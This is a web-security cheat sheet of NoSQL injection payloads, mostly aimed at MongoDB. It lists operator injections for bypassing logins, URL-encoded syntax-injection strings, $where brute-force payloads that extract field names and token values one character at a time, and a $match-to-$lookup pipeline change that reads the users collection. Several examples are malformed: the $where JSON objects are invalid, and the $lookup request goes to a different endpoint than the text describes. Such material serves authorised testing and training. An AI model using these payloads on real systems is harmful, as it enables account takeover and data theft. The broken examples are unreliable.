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NoSQL Injection

Last modified: 2023-10-05

NoSQL Injection is derived from SQL Injection. It affects NoSQL database such as MongoDB, Apache Cassandra.

Manual Injection

See also Web Login Bypass NoSQL Injection.

Mongo

If the web application uses MongDB, you might be able to fetch the user's information.
It allows you to bypass authentication.

/?username=admin&password[$ne]=xyz
/?username[$ne]=admin&role=guest
/?id[$gt]=1&username=john

  • Syntax

    Below are the payloads to syntax injection. Don’t forget to try the URL-encoded payloads.

    test||1==1
test%7C%7C1%3D%3D1

test||1==1//
test%7C%7C1%3D%3D1%2F%2F

test||1==1%00
test%7C%7C1%3D%3D1%2500

test||1==1\u0000
test%7C%7C1%3D%3D1%5Cu0000

test||'1==1
test%7C%7C%271%3D%3D1

test||'1'=='1'
test%7C%7C%271%27%3D%3D%271%27

test||'1'=='1
test%7C%7C%271%27%3D%3D%271

test'||1||'
test%27%7c%7c%31%7c%7c%27

<!-- Find specific fields e.g. 'password' -->
admin' && this.password!='
admin'+%26%26+this.password!%3d'

  • Operators

    # $ne: Not equal
username[$ne]=xyz&password[$ne]=xyz

# $regex: Regular expressions
username[$regex]=.*&password[$regex]=.*

# $gt: Greater than
username[$gt]=s&password[$gt]=s
# $lt: Lower than
username[$lt]=s&password[$lt]=s

  • Operators & JSON

    To use the following payloads, set the Content-Type header to application/json in the HTTP request header.

    { "username": { "$ne": "xyz" }, "password": { "$ne": "xyz" } }

    Brute force parameters.

    # Brute force each character for the parameter key
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}a.*')" }}
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}b.*')" }}
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{0}c.*')" }}
...
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[1].match('^.{1}a.*')" }}
...
{ "username": "admin", "password": "test", { "$where": "Object.keys(this)[8].match('^.{8}z.*')" }}

# Brute force each character for the specific parameter value
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}a.*')" }
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}b.*')" }
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{0}c.*')" }
...
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{1}a.*')" }
...
{ "username": "admin", "password": "test", { "$where": "this.exampleToken.match('^.{8}z.*')" }



Retrieve Another Document (MongoDB)

If the website uses MongoDB and uses $match aggregation to fetch documents, we can change the aggregation to $lookup for joining another document and get desired information from the document.
First, check if the $match operator is used in the website.

POST /products HTTP/1.1
...

{
    "$match": {
        "sold": false
    }
}

As above, the website uses $match aggregator to fetch data from the "products" document, so we can change this as the following.
Assume both the "products" and "users" document have an "id" field.

POST /users HTTP/1.1
...

{
    "$lookup": {
        "from": "users",
        "localField": "id",
        "foreignField": "id",
        "as": "test"
    }
}

Then send this request. We can retrieve values in the "users" document.

References